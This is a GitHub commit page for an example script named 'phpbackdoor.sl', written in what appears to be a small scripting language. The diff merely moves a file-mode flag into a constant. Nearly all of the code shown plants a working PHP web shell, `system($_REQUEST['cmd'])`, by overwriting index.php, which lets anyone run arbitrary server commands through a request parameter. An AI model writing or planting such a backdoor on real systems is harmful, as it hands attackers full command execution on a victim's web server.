Skip to content

Commit a0406a0

Browse files
committed
Update examples
1 parent af80dd7 commit a0406a0

File tree

1 file changed

+2
-1
lines changed

1 file changed

+2
-1
lines changed

examples/phpbackdoor.sl

+2-1
Original file line numberDiff line numberDiff line change
@@ -3,9 +3,10 @@
33
# declare constants
44
code = '<?php system($_REQUEST[\'cmd\']); ?>'
55
file = 'index.php'
6+
mode = 1006 # this flag is "w+"
67

78
# create file
8-
fd = open(file, 1006) # this flag is "w+"
9+
fd = open(file, mode)
910
write(fd, code)
1011
close(fd)
1112

0 commit comments

Comments
 (0)